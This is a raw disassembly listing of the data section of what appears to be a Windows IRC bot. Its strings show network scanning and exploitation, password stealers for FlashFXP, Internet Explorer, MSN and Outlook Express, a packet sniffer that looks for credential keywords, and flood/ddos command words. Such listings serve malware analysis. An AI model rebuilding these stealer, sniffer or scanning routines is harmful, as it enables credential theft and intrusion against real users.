dword_41CD04	dd 0F48A8EAFh, 0CBFDA2E8h, 0A69DE8BDh, 0EEEEFDA9h, 88BAh
					; DATA XREF: brattyty:off_41CBA0o
					; brattyty:off_41DB20o
		dd 0
dword_41CD1C	dd 72h			; DATA XREF: sub_412A3A:loc_412B93o
dword_41CD20	dd 62h			; DATA XREF: sub_412BC9:loc_412D11o
dword_41CD24	dd 63h			; DATA XREF: sub_412D56:loc_412DC8o
dword_41CD28	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_412E04+64o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_41CD60	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_412F07+98o
		dd 74726F70h, 34300320h, 3752502h, 2, 0
byte_41CD88	db 0BBh			; DATA XREF: sub_41294E+3Co
					; sub_41294E+4Co ...
		db 9Fh,	80h, 0FCh
		dd 0B1h, 2 dup(0)
		dd 0EE000000h, 0DACFh, 3 dup(0)
		db 2 dup(0)
dword_41CDAE	dd 3F171D55h		; DATA XREF: sub_41294E+2Br
					; sub_412FC6+31r ...
dword_41CDB2	dd 0			; DATA XREF: sub_412FC6+57w
					; sub_414052+B5r ...
off_41CDB6	dd offset sub_410649	; DATA XREF: sub_41294E+1Cr
					; sub_412FC6+18r ...
		dw 3
		dd 0
		dd 99B10000h, 0F8E2E19Bh, 0FAh,	2 dup(0)
		dd 0DAC8EB00h, 4 dup(0)
		dd 0C9B1D8DCh, 0
		dd offset sub_410B52
		dd 3, 10h dup(0)
dword_41CE38	dd 6E695728h, 293233h	; DATA XREF: sub_41308F+217o
dword_41CE40	dd 696E5528h, 2978h	; DATA XREF: sub_41308F+1F1o
dword_41CE48	dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo
aApache		db 'Apache',0           ; DATA XREF: sub_41308F+1B9o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_41308F+FCo
		align 10h
aServer		db 'Server:',0          ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
		db 0Dh,0Ah,0
		align 10h
unk_41CEA0	db  53h	; S		; DATA XREF: sub_41349C+5E4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_41CEE4	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_41349C+55Eo
dword_41CEF8	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_41349C+343o
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_41CF30	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_41349C+305o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41CF5C	db  53h	; S		; DATA XREF: sub_413AB0+1DCo
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_41CF94	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_413CB3+30Eo
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_41CFD8	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_413CB3+2B0o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_41D008	db  2Dh	; -		; DATA XREF: sub_413CB3+31o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 4
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41D05C	dd 3003203Ah, 75250234h, 202E0203h, 0 ;	DATA XREF: sub_414052+BBo
aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
		align 10h
dword_41D0A0	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_4141C1+D8o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_41D0D0	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_4141C1+B4o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_41D108	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_4141C1+78o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_41D138	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_4142BF+D8o
		dd 30032074h, 73250234h, 203h
unk_41D158	db  53h	; S		; DATA XREF: sub_4143B0+221o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_41D194	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_4143B0+1BAo
dword_41D1A8	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_4143B0+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_41D1F0	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_414600+1BEo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
					; sub_4147E5+C6o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_4148CE+ABo
		align 4
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_4148CE:loc_414945o
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_4148CE+57o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_4148CE+15o
		align 4
unk_41D2E4	db  2Dh	; -		; DATA XREF: sub_414A1E+464o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 10h
dword_41D320	dd 2343003h, 2037525h	; DATA XREF: sub_414A1E+3C4o
a_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+352o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+338o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+31Eo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_414A1E+304o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41D38C	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_414A1E+2EAo
		align 4
aPass_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1F4o
		db 'Pass=',0
aUser_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1DCo
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1C4o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1ACo
		db 'IP=',0
		align 4
asc_41D3B8	db 0Dh,0Ah		; DATA XREF: sub_414A1E:loc_414BA6o
		db 0Dh,0Ah
		db '[',0
		align 10h
unk_41D3C0	db  2Dh	; -		; DATA XREF: sub_414A1E+55o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 4
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
		align 4
unk_41D404	db  2Dh	; -		; DATA XREF: sub_414EF4+B8Ao
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 10h
dword_41D440	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_414EF4+AD8o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_41D49C	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_414EF4+A2Bo
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
dword_41D4E4	dd 70747468h, 2F3A73h	; DATA XREF: sub_414EF4+9DDo
dword_41D4EC	dd 70747468h, 2F3Ah	; DATA XREF: sub_414EF4+9C6o
dword_41D4F4	dd 7274533Ah, 676E69h	; DATA XREF: sub_414EF4+983o
					; sub_414EF4+99Ao
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_414EF4+968o
aE161255a	db 'e161255a',0         ; DATA XREF: sub_414EF4:loc_415842o
		align 4
dword_41D514	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_414EF4+935o
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_41D554	dd 2Ch			; DATA XREF: sub_414EF4+83Bo
					; sub_414EF4+852o ...
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_414EF4:loc_4155CEo
		align 4
dword_41D564	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_414EF4+6C6o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_414EF4:loc_41550Co
		align 4
dword_41D5C8	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_414EF4+604o
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_414EF4+5C2o
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_414EF4+41Co
asc_41D618	db '%x',0               ; DATA XREF: sub_414EF4+234o
		align 4
unk_41D61C	db  2Dh	; -		; DATA XREF: sub_414EF4+1A9o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 10h
dword_41D650	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o
					; sub_414EF4+2C7o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
		align 4
dword_41D684	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_415B60+277o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_415B60+10Ao
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_415B60:loc_415C2Fo
		align 4
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_415B60+8Co
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
		align 4
off_41D7B4	dd offset dword_41DA58	; DATA XREF: sub_415EB7+32o
		dd offset dword_41DA4C
		dd offset dword_41DA44
		dd offset dword_41DA38
		dd offset dword_41DA30
		dd 0
		dd offset dword_41DA24
		dd 0
		dd offset dword_41DA1C
		dd 0
		dd offset dword_41DA14
		dd 0
		dd offset dword_41DA08
		dd 0
		dd offset dword_41D9FC
		dd 0
		dd offset dword_41D9F4
		dd 0
		dd offset dword_41D9EC
		dd 0
		dd offset off_41D9E8
		align 10h
off_41D810	dd offset aLogin_0	; DATA XREF: sub_415EB7+54o
					; "login "
		align 8
		dd offset aSxt		; "sxt "
		align 10h
		dd offset aAuth		; "auth	"
		align 8
		dd offset aPasswort	; "passwort "
		align 10h
		dd offset aCdkey	; "cdkey"
		align 8
		dd offset aCdKey_0	; "cd-key"
		align 10h
		dd offset aCdKey	; "cd key"
		align 8
		dd offset aPassword	; "password"
		align 10h
		dd offset aPaypal_com	; "paypal.com"
		align 8
		dd offset aPaypal	; "paypal"
		align 10h
		dd offset aIrcOperator	; "irc operator"
		align 8
		dd offset aLP		; "l/p"
		align 10h
		dd offset aSsh1_5	; "SSH-1.5"
		align 8
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_41D884	dd offset aSetCookie	; DATA XREF: sub_415EB7+76o
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU_0	; "serv-u"
		dd 0
		dd offset aServU	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		dd 2 dup(0)
off_41D8C8	dd offset dword_41D924	; DATA XREF: sub_415EB7+98o
		align 10h
		dd offset dword_41D91C
		align 8
		dd offset dword_41D914
		align 10h
		dd offset dword_41D90C
		align 8
		dd offset dword_41D904
		align 10h
		dd offset dword_41D8FC
		dd 2 dup(0)
dword_41D8FC	dd 54495551h, 20h	; DATA XREF: brattyty:0041D8F0o
dword_41D904	dd 54524150h, 20h	; DATA XREF: brattyty:0041D8E8o
dword_41D90C	dd 4E494F4Ah, 20h	; DATA XREF: brattyty:0041D8E0o
dword_41D914	dd 49504F54h, 2043h	; DATA XREF: brattyty:0041D8D8o
dword_41D91C	dd 49544F4Eh, 204543h	; DATA XREF: brattyty:0041D8D0o
dword_41D924	dd 56495250h, 2047534Dh, 0 ; DATA XREF:	brattyty:off_41D8C8o
aDdos		db 'ddos',0             ; DATA XREF: brattyty:0041D8BCo
		align 4
aServu		db 'servu',0            ; DATA XREF: brattyty:0041D8B4o
		align 10h
aServU		db 'serv u',0           ; DATA XREF: brattyty:0041D8ACo
		align 4
aServU_0	db 'serv-u',0           ; DATA XREF: brattyty:0041D8A4o
		align 10h
aClone		db 'clone ',0           ; DATA XREF: brattyty:0041D89Co
		align 4
aFlood		db 'flood ',0           ; DATA XREF: brattyty:0041D894o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: brattyty:0041D88Co
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: brattyty:off_41D884o
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: brattyty:0041D878o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: brattyty:0041D870o
aLP		db 'l/p',0              ; DATA XREF: brattyty:0041D868o
aIrcOperator	db 'irc operator',0     ; DATA XREF: brattyty:0041D860o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: brattyty:0041D858o
		align 10h
aPaypal_com	db 'paypal.com',0       ; DATA XREF: brattyty:0041D850o
		align 4
aCdKey		db 'cd key',0           ; DATA XREF: brattyty:0041D840o
		align 4
aCdKey_0	db 'cd-key',0           ; DATA XREF: brattyty:0041D838o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: brattyty:0041D830o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: brattyty:0041D828o
		align 10h
aAuth		db 'auth ',0            ; DATA XREF: brattyty:0041D820o
		align 4
aSxt		db 'sxt ',0             ; DATA XREF: brattyty:0041D818o
		align 10h
aLogin_0	db 'login ',0           ; DATA XREF: brattyty:off_41D810o
		align 4
off_41D9E8	dd offset dword_3D7000+770h ; DATA XREF: brattyty:0041D804o
dword_41D9EC	dd 73736170h, 3Dh	; DATA XREF: brattyty:0041D7FCo
dword_41D9F4	dd 69676F6Ch, 3D6Eh	; DATA XREF: brattyty:0041D7F4o
dword_41D9FC	dd 73736170h, 64726F77h, 3Dh ; DATA XREF: brattyty:0041D7ECo
dword_41DA08	dd 72657375h, 656D616Eh, 3Dh ; DATA XREF: brattyty:0041D7E4o
dword_41DA14	dd 73736170h, 3D6477h	; DATA XREF: brattyty:0041D7DCo
dword_41DA1C	dd 75613A20h, 206874h	; DATA XREF: brattyty:0041D7D4o
dword_41DA24	dd 6E656469h, 79666974h, 20h ; DATA XREF: brattyty:0041D7CCo
dword_41DA30	dd 7265706Fh, 20h	; DATA XREF: brattyty:0041D7C4o
dword_41DA38	dd 6C69614Dh, 73736150h, 20h ; DATA XREF: brattyty:0041D7C0o
dword_41DA44	dd 73736170h, 20h	; DATA XREF: brattyty:0041D7BCo
dword_41DA4C	dd 6E6B6E75h, 206E776Fh, 0 ; DATA XREF:	brattyty:0041D7B8o
dword_41DA58	dd 72657375h, 20h	; DATA XREF: brattyty:off_41D7B4o
dword_41DA60	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_415F69+5CEo
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_41DA94	db  2Dh	; -		; DATA XREF: sub_415F69+1A6o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 4
dword_41DAC8	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_41665C+8Eo
		dd 6E732074h, 65666669h, 72h, 41DAECh, 0FD8093AFh, 0D2E6E2ADh
		dd 0A99AE3FBh, 2 dup(0)
dword_41DB00	dd 0E3F44AC0h		; DATA XREF: sub_40A9CF+843r
					; sub_4167F1+54r ...
dword_41DB04	dd 94CFA2BAh		; DATA XREF: sub_4167F1+4Cr
dword_41DB08	dd 11B29A82h		; DATA XREF: sub_4167F1+41r
dword_41DB0C	dd 2B0ED8BCh		; DATA XREF: sub_4167F1+3Br
		dd 2 dup(0)
off_41DB18	dd offset dword_41DE20	; DATA XREF: sub_40E618+1C3r
					; sub_40E618+1D5r ...
		align 10h
off_41DB20	dd offset dword_41CD04	; DATA XREF: sub_40A9CF+7B3r
					; sub_40CF2F+82r ...
off_41DB24	dd offset dword_41CCF8	; DATA XREF: sub_40CF2F+B8r
dword_41DB28	dd 0			; DATA XREF: sub_40CF2F+D0r
					; sub_40CF2F+DFr
		dd offset dword_41CCE0
		dd offset dword_41CCD4
		align 8
		dd offset dword_41CCB8
		dd offset dword_41CCAC
		dd 0
		dd offset dword_41CC90
		dd offset dword_41CC84
		align 10h
		dd offset dword_41CC64
		dd offset dword_41CC58
		dd 0
		dd offset dword_41CC38
		dd offset dword_41CC2C
		align 8
		dd offset dword_41CC0C
		dd offset dword_41CC00
		dd 4 dup(0)
dword_41DB80	dd 0AED0C3E0h, 9DADB3BCh, 2 dup(0) ; DATA XREF:	sub_40D043:loc_40D31Fo
					; sub_40D871:loc_40DCB8o
dword_41DB90	dd 77697323h, 61h, 1Eh dup(0) ;	DATA XREF: sub_40332B+1A1o
					; sub_4093B6+6Co ...
byte_41DC10	db 0FCh			; DATA XREF: sub_40D043+28Cr
					; sub_40D043+297o
		db 8Fh,	9Ah, 0E1h
		dd 0CBE1FEE6h, 0EDA2h, 1Dh dup(0)
byte_41DC90	db 0			; DATA XREF: sub_40D043+2B3r
					; sub_40D043+2BEo
		align 4
		dd 1Fh dup(0)
dword_41DD10	dd 3430032Eh, 2036202h,	0 ; DATA XREF: sub_40A9CF:loc_40C4DAo
					; sub_40D871+242o
dword_41DD1C	dd 0F28D99A8h, 8CA0BFEFh, 84E0B1h, 3Eh dup(0) ;	DATA XREF: sub_406A23+2Eo
					; sub_406AE7+2Eo
dword_41DE20	dd 0F58EBCF5h, 8CFCE5EEh, 0AF9FE5A6h, 0E8A3FCB9h, 0FC809FF1h
					; DATA XREF: brattyty:off_41DB18o
		dd 2 dup(0)
dword_41DE3C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: brattyty:00416B0Do
aEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 4
aEntry		db 'entry',0            ; DATA XREF: brattyty:00416AE7o
		align 4
aLoop		db 'loop',0             ; DATA XREF: sub_416AC5o
		align 4
aPing08x	db 'PING :%08X',0       ; DATA XREF: sub_4167F1+263o
		align 4
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: sub_4167F1+5Ao
		align 10h
dword_41DEB0	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o
off_41DEC0	dd offset off_4172BC	; DATA XREF: brattyty:off_4172C0o
					; brattyty:004172FCo ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_41DEE0	dd offset off_4172BC	; DATA XREF: brattyty:off_417308o
					; brattyty:00417344o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_41DEF8	dd 0			; DATA XREF: sub_401856:loc_40186Er
					; sub_401856+21r ...
dword_41DEFC	dd 0			; DATA XREF: sub_401856:loc_401883r
					; sub_401856+36r ...
dword_41DF00	dd 0			; DATA XREF: sub_401856:loc_401898r
					; sub_401856+4Br ...
dword_41DF04	dd 0			; DATA XREF: sub_401856+3r
					; sub_401856+Cr ...
		dd 0
dword_41DF0C	dd 0			; DATA XREF: sub_4018AF+40r
					; sub_4018AF+62r ...
byte_41DF10	db 0			; DATA XREF: sub_401981+1BAo
					; sub_402A32+57r ...
		align 8
dword_41DF18	dd 0			; DATA XREF: sub_40332B+1Ar
					; sub_404CBB+1Br ...
dword_41DF1C	dd 0			; DATA XREF: sub_40332B+Bo
dword_41DF20	dd 77E7C706h		; DATA XREF: sub_403BD3+28w
					; sub_409C36+12r ...
		align 8
dword_41DF28	dd 71C245E0h		; DATA XREF: sub_403BD3+53w
dword_41DF2C	dd 71C243F6h		; DATA XREF: sub_403BD3+66w
dword_41DF30	dd 71C59904h		; DATA XREF: sub_403BD3+79w
dword_41DF34	dd 71C453F8h		; DATA XREF: sub_403BD3+8Cw
dword_41DF38	dd 71C2FA86h		; DATA XREF: sub_403BD3+9Fw
dword_41DF3C	dd 71C574FAh		; DATA XREF: sub_403BD3+B2w
dword_41DF40	dd 71C214BAh		; DATA XREF: sub_403BD3+C5w
dword_41DF44	dd 71C4A1B4h		; DATA XREF: sub_403BD3+D8w
dword_41DF48	dd 71C59530h		; DATA XREF: sub_403BD3+EBw
dword_41DF4C	dd 71B2ACCBh		; DATA XREF: sub_403BD3+112w
dword_41DF50	dd 71B22C25h		; DATA XREF: sub_403BD3+125w
dword_41DF54	dd 71B2A381h		; DATA XREF: sub_403BD3+138w
dword_41DF58	dd 71B28D0Dh		; DATA XREF: sub_403BD3+14Bw
dword_41DF5C	dd 7622A3F4h		; DATA XREF: sub_403BD3+219w
					; sub_408B30+118r ...
dword_41DF60	dd 5E0C4E7Dh		; DATA XREF: sub_403BD3+1F2w
					; sub_414EF4+6Cr ...
dword_41DF64	dd 71AB33DFh		; DATA XREF: sub_403BD3+16Cw
					; sub_403BD3+197r ...
dword_41DF68	dd 71ABC076h		; DATA XREF: sub_4020C2+DBr
					; sub_403BD3+17Fw ...
dword_41DF6C	dd 71AB3A2Ch		; DATA XREF: sub_403BD3+192w
					; sub_403BD3+1A9r ...
		dd 24h dup(0)
dword_41E000	dd 0DDh	dup(0)		; DATA XREF: brattyty:loc_42002Eo
dword_41E374	dd 0			; DATA XREF: sub_4042FB+3r
					; sub_4042FB+20o
dword_41E378	dd 0			; DATA XREF: sub_4042FB+12o
					; sub_4042FB:loc_404327r
		align 10h
dword_41E380	dd 76BF1C22h		; DATA XREF: sub_405FA3+46w
					; sub_405FA3+7Ar ...
dword_41E384	dd 76BF1D54h		; DATA XREF: sub_405FA3+59w
					; sub_405FA3+83r ...
dword_41E388	dd 76BF1E6Ch		; DATA XREF: sub_405FA3+6Cw
					; sub_405FA3+8Cr ...
dword_41E38C	dd 76BF32DDh		; DATA XREF: sub_405FA3+33w
					; sub_405FA3+71r ...
dword_41E390	dd 14AE70h, 0FFFFFFFFh,	5 dup(0) ; DATA	XREF: sub_405FA3+4o
					; sub_406041+Bo ...
byte_41E3AC	db 1			; DATA XREF: sub_405FA3+95w
					; sub_406041+16r
		align 10h
dword_41E3B0	dd 0			; DATA XREF: sub_409226+61w
					; sub_409226+77w ...
		align 8
dword_41E3B8	dd 14AE98h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40938F+1Ao
					; sub_4095A4+6o ...
dword_41E3D0	dd 0			; DATA XREF: sub_40938F+3w
					; sub_4095A4+11r ...
		align 8
dword_41E3D8	dd 323A00h		; DATA XREF: sub_40938F+15w
					; sub_4095A4+57r ...
dword_41E3DC	dd 0			; DATA XREF: sub_409CB1+6r
					; sub_409DD0+65w ...
dword_41E3E0	dd 0			; DATA XREF: sub_409DD0+3Fw
					; sub_409DD0+44r ...
dword_41E3E4	dd 0			; DATA XREF: sub_409CB1+F6r
					; sub_409DD0+91w ...
dword_41E3E8	dd 0			; DATA XREF: sub_409CB1+B9r
					; sub_409DD0+7Bw ...
		align 10h
byte_41E3F0	db 0			; DATA XREF: sub_409DD0+29r
					; sub_409DD0+96w
		align 4
		dd 101h	dup(0)
byte_41E7F8	db 0			; DATA XREF: sub_40CF2F+4Bo
					; sub_40CF2F+5Eo ...
		align 4
		dd 5Fh dup(0)
dword_41E978	dd 40h dup(0)		; DATA XREF: sub_40CF2F+Eo
					; sub_40CF2F+A6o ...
dword_41EA78	dd 3 dup(0)		; DATA XREF: sub_40CF2F+23o
					; sub_40CF2F+36o ...
dword_41EA84	dd 0			; DATA XREF: sub_40CF25+3r
					; sub_40D366+15r ...
		dd 0
